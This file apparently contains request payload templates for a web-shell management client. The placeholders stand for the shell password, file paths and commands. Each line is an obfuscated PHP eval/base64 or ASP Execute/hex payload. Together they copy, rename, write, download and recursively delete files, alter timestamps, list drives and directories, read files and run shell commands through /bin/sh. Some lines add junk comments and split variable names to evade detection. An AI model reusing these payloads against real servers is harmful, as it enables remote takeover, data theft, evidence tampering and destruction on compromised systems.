{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmYz0kbT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGZwPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtmdW5jdGlvbiB4Y29weSgkc3JjLCRkZXN0KXtpZihpc19maWxlKCRzcmMpKXtpZighY29weSgkc3JjLCRkZXN0KSlyZXR1cm4gZmFsc2U7ZWxzZSByZXR1cm4gdHJ1ZTt9JG09QGRpcigkc3JjKTtpZighaXNfZGlyKCRkZXN0KSlpZighQG1rZGlyKCRkZXN0KSlyZXR1cm4gZmFsc2U7d2hpbGUoJGY9JG0tPnJlYWQoKSl7JGlzcmM9JHNyYy5jaHIoNDcpLiRmOyRpZGVzdD0kZGVzdC5jaHIoNDcpLiRmO2lmKChpc19kaXIoJGlzcmMpKSYmKCRmIT1jaHIoNDYpKSYmKCRmIT1jaHIoNDYpLmNocig0NikpKXtpZigheGNvcHkoJGlzcmMsJGlkZXN0KSlyZXR1cm4gZmFsc2U7fWVsc2UgaWYoaXNfZmlsZSgkaXNyYykpe2lmKCFjb3B5KCRpc3JjLCRpZGVzdCkpcmV0dXJuIGZhbHNlO319cmV0dXJuIHRydWU7fWVjaG8oeGNvcHkoJGZjLCRmcCk/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH1}&z2={PATH2}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmYz0kbT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGZwPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtmdW5jdGlvbiB4Y29weSgkc3JjLCRkZXN0KXtpZihpc19maWxlKCRzcmMpKXtpZighY29weSgkc3JjLCRkZXN0KSlyZXR1cm4gZmFsc2U7ZWxzZSByZXR1cm4gdHJ1ZTt9JG09QGRpcigkc3JjKTtpZighaXNfZGlyKCRkZXN0KSlpZighQG1rZGlyKCRkZXN0KSlyZXR1cm4gZmFsc2U7d2hpbGUoJGY9JG0tPnJlYWQoKSl7JGlzcmM9JHNyYy5jaHIoNDcpLiRmOyRpZGVzdD0kZGVzdC5jaHIoNDcpLiRmO2lmKChpc19kaXIoJGlzcmMpKSYmKCRmIT1jaHIoNDYpKSYmKCRmIT1jaHIoNDYpLmNocig0NikpKXtpZigheGNvcHkoJGlzcmMsJGlkZXN0KSlyZXR1cm4gZmFsc2U7fWVsc2UgaWYoaXNfZmlsZSgkaXNyYykpe2lmKCFjb3B5KCRpc3JjLCRpZGVzdCkpcmV0dXJuIGZhbHNlO319cmV0dXJuIHRydWU7fWVjaG8oeGNvcHkoJGZjLCRmcCk/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH1}&z2={PATH2}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRzcmM9bT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGRzdD1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtlY2hvKHJlbmFtZSgkc3JjLCRkc3QpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={PATH1}&z2={PATH2}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRzcmM9bT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGRzdD1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtlY2hvKHJlbmFtZSgkc3JjLCRkc3QpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={PATH1}&z2={PATH2}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTtlY2hvKG1rZGlyKCRmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRmPSRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTtlY2hvKG1rZGlyKCRmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_P'.'OST'}[z9]/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_POS'.'T'}[z0]));&z0=MTEwMTEzO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7ZWNobyBAZndyaXRlKGZvcGVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSwidyIpLGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKSk/IjEiOiIwIjtlY2hvKCJ8PC0iKTs7ZGllKCk7&z1={PATH}&z2={CONTENT}&z9=BaSE64_dEcOdE
{PASS}=@eval/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_P'.'OST'}[z9]/*ÎÒÈ¥ÄãÂîÃ˸ô±Ú*/(${'_POS'.'T'}[z0]));&z0=MTEwMTEzO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7ZWNobyBAZndyaXRlKGZvcGVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSwidyIpLGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKSk/IjEiOiIwIjtlY2hvKCJ8PC0iKTs7ZGllKCk7&z1={PATH}&z2={CONTENT}&z9=BaSE64_dEcOdE
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZlI9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRmTD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7JEY9QGZvcGVuKCRmUixjaHIoMTE0KSk7JEw9QGZvcGVuKCRmTCxjaHIoMTE5KSk7aWYoJEYgJiYgJEwpe3doaWxlKCFmZW9mKCRGKSlAZndyaXRlKCRMLEBmZ2V0YygkRikpO0BmY2xvc2UoJEYpO0BmY2xvc2UoJEwpO2VjaG8oIjEiKTt9ZWxzZXtlY2hvKCIwIik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={HOST}&z2={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZlI9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRmTD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7JEY9QGZvcGVuKCRmUixjaHIoMTE0KSk7JEw9QGZvcGVuKCRmTCxjaHIoMTE5KSk7aWYoJEYgJiYgJEwpe3doaWxlKCFmZW9mKCRGKSlAZndyaXRlKCRMLEBmZ2V0YygkRikpO0BmY2xvc2UoJEYpO0BmY2xvc2UoJEwpO2VjaG8oIjEiKTt9ZWxzZXtlY2hvKCIwIik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={HOST}&z2={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRGTj1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskVE09c3RydG90aW1lKG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdKTtpZihmaWxlX2V4aXN0cygkRk4pKXtlY2hvKEB0b3VjaCgkRk4sJFRNLCRUTSk/IjEiOiIwIik7fWVsc2V7ZWNobygiMCIpO307O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH}&z2={DATE}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRGTj1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskVE09c3RydG90aW1lKG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdKTtpZihmaWxlX2V4aXN0cygkRk4pKXtlY2hvKEB0b3VjaCgkRk4sJFRNLCRUTSk/IjEiOiIwIik7fWVsc2V7ZWNobygiMCIpO307O2VjaG8oInw8LSIpO2RpZSgpOw==&z1={PATH}&z2={DATE}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztmdW5jdGlvbiBkZigkcCl7JG09QGRpcigkcCk7d2hpbGUoQCRmPSRtLT5yZWFkKCkpeyRwZj0kcC4iLyIuJGY7aWYoKGlzX2RpcigkcGYpKSYmKCRmIT0iLiIpJiYoJGYhPSIuLiIpKXtAY2htb2QoJHBmLDA3NzcpO2RmKCRwZik7fWlmKGlzX2ZpbGUoJHBmKSl7QGNobW9kKCRwZiwwNzc3KTtAdW5saW5rKCRwZik7fX0kbS0+Y2xvc2UoKTtAY2htb2QoJHAsMDc3Nyk7cmV0dXJuIEBybWRpcigkcCk7fSRGPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdO2lmKGlzX2RpcigkRikpZWNobyhkZigkRikpO2Vsc2V7ZWNobyhmaWxlX2V4aXN0cygkRik/QHVubGluaygkRik/IjEiOiIwIjoiMCIpO307ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztmdW5jdGlvbiBkZigkcCl7JG09QGRpcigkcCk7d2hpbGUoQCRmPSRtLT5yZWFkKCkpeyRwZj0kcC4iLyIuJGY7aWYoKGlzX2RpcigkcGYpKSYmKCRmIT0iLiIpJiYoJGYhPSIuLiIpKXtAY2htb2QoJHBmLDA3NzcpO2RmKCRwZik7fWlmKGlzX2ZpbGUoJHBmKSl7QGNobW9kKCRwZiwwNzc3KTtAdW5saW5rKCRwZik7fX0kbS0+Y2xvc2UoKTtAY2htb2QoJHAsMDc3Nyk7cmV0dXJuIEBybWRpcigkcCk7fSRGPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdO2lmKGlzX2RpcigkRikpZWNobyhkZigkRikpO2Vsc2V7ZWNobyhmaWxlX2V4aXN0cygkRik/QHVubGluaygkRik/IjEiOiIwIjoiMCIpO307ZWNobygifDwtIik7ZGllKCk7&z1={PATH}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={ISLINUX}&z2={CMDSHELL}
{PASS}=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1={ISLINUX}&z2={CMDSHELL}
L2Jpbi9zaA==
L2Jpbi9zaA==
{CMDSHELL}
{CMDSHELL}
{PASS}=@eval(base64_decode($_POST[z0]));&z0={DIYSCRIPT}
{PASS}=@eval(base64_decode($_POST[z0]));&z0={DIYSCRIPT}
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""53463D6264285265717565737428227A312229293A44463D6264285265717565737428227A322229293A5365742066736F3D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420663D66736F2E47657446696C65285346293A662E617474726962757465733D44463A5365742066736F3D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""53463D6264285265717565737428227A312229293A44463D6264285265717565737428227A322229293A5365742066736F3D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420663D66736F2E47657446696C65285346293A662E617474726962757465733D44463A5365742066736F3D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E22292663687228313234293A533D53265365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E22292663687228313234293A533D53265365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D65266368722834372926636872283132342926464428462E446174654C6173744D6F64696669656429266368722831323429266368722834382926636872283132342926432E476574466F6C64657228462E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D65266368722831323429264644284C2E446174654C6173744D6F64696669656429266368722831323429264C2E73697A6526636872283132342926432E47657446696C65284C2E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|
{PASS}=Ev al ("Ex"&cHr(101)&cHr(99)&"ute(""Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Ex"&cHr(101)&cHr(99)&"ute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Ex"&cHr(101)&cHr(99)&"ute(""""""""&bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D65266368722834372926636872283132342926464428462E446174654C6173744D6F64696669656429266368722831323429266368722834382926636872283132342926432E476574466F6C64657228462E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D65266368722831323429264644284C2E446174654C6173744D6F64696669656429266368722831323429264C2E73697A6526636872283132342926432E47657446696C65284C2E50617468292E61747472696275746573266368722831332926636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|
